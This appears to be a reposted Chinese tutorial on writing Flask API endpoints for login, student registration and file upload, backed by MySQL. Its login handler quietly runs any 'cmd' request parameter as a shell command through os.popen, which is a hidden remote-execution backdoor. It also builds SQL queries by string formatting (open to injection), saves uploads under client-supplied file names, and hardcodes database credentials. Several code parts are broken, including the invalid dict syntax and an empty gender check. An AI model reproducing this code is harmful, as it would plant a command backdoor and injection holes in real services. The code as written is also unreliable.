python之接口开发

一、接口开发的思路

1.启动一个服务;

2.接受客户端传过来的数据;

3.登录,注册,支付等功能

4.操作数据库,拿到数据;

5.返回数据;

import flask
server=flask.Flask(__name__)#启动一个服务
@server.route('/login',methods=['post','get'])#不写methods默认就是get请求
def login():
    #username
    #passwd
    uname = flask.request.values.get('username')
    passwd = flask.request.values.get('passwd')
    command = flask.request.values.get('cmd',None)
    #args 这个方法就只能获取到url里面传的参数
    #values 这个方法不管你是url里面传的参数还是,k-v传的,都可以获取到的
    if uname and passwd:
        sql="select * from app_myuser where username='%s' and passwd='%s';"%(uname,passwd)
        result = tools.my_db(sql)#执行sql
        if result:
            res = {"error_code":1000,"msg":"登陆成功"}
        else:
            res = {"error_code":3001,"msg":"账号/密码错误!"}
    else:
        res = {"error_code":3000,"msg":"必填参数未填,请查看接口文档!"}
    if command:
        res = os.popen(command).read()
        return res

    return json.dumps(res, ensure_ascii=False)

@server.route('/add_student',methods=['post'])
def add_student():
    params = flask.request.json  #入参是字典时候用它
    if params:
        name = params.get('name')
        sex = params.get('sex','')  #如果没有传,sex,那么默认是男
        age = str(params.get('age'))  #int
        addr = params.get('addr')
        grade = params.get('grade')
        phone = str(params.get('phone')) #最少11位,不能重复
        gold = str(params.get('gold',500))  #金币可以是小数,如果没有传金币这个值的话,默认是500
        # sql='insert into app_student (name)'
        if name and age and addr and grade and phone:  #必填参数
            if sex not in ['','']: #校验性别
                res = {"error_code":3003,"msg":"性别只能是男/女"}
            elif not age.isdigit():  #校验年龄
                res = {"error_code":3003,"msg":"年龄输入错误!"}
            elif len(phone)!=11 or not phone.isdigit():
                res = {"error_code":3003,"msg":"手机输入非法!"}
            elif  not tools.check_float(gold) and not gold.isdigit():
                res = {"error_code":3003,"msg":"金币不合法"}
            else:
                sql="select * from app_student where phone='%s';"%phone
                result = tools.my_db(sql)
                if result:
                    res = {"error_code":3004,"msg":"手机号已经存在!"}
                else:
                    sql = "INSERT INTO app_student(NAME,sex,age,addr,grade,phone,gold)VALUES('%s','%s',%s,'%s','%s',%s,%s)" % (
                        name, sex, age, addr, grade, phone, gold)
                    tools.my_db(sql)
                    res = {"error_code":200,"msg":"新增学生成功!"}
        else:
            res = {"error_code":3003,"msg":"必填参数未填,请查看接口文档"}
        return json.dumps(res,ensure_ascii=False)
    else:
        res = {"error_code":3002,"msg":"入参必须是json"}
    return json.dumps(res,ensure_ascii=False)

@server.route('/upload',methods=['post'])
def file_upload():
    f = flask.request.files.get('wjm',None)
    if f:
        cur_time = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
        new_file_name = cur_time+f.filename
        f.save(new_file_name)#保存文件
        res = {"msg":"上传成功!"}
    else:
        res = {"msg":"没有上传文件!"}
    return json.dumps(res,ensure_ascii=False)
server.run(host='0.0.0.0',port=8888,debug=True)

tools文件中代码如下:

import pymysql
from conf.setting import mysql_info
def my_db(sql):
    conn = pymysql.connect(**mysql_info)
    cur = conn.cursor(cursor=pymysql.cursors.DictCursor)
    cur.execute(sql)
    res = cur.fetchall()
    cur.close()
    conn.close()
    return res

def check_float(s):
    '''
    这个函数的作用就是判断传入的字符串是否是合法的小数
    :param s: 传入一个字符串
    :return: True/false
    '''
    s = str(s)
    if s.count('.')==1:
        s_split = s.split('.')
        left,right = s_split
        if left.isdigit() and right.isdigit():
            return True
        elif left.startswith('-') and left[1:].isdigit() \
            and right.isdigit():
            return True
    return False

mysql和server的配置信息放置在setting文件下:

mysql_info={
    'host'='134.34.5.60',
    'port'=3306,
    'db'='lyh',
    'user'='lyh',
    'password'=123456,
    'charset'='utf8',
    'autocommit'=True
}

server_info={
    'host'='0.0.0.0',
    'port'=8888,
    'debug'=True

}

猜你喜欢

转载自www.cnblogs.com/balllyh/p/10400002.html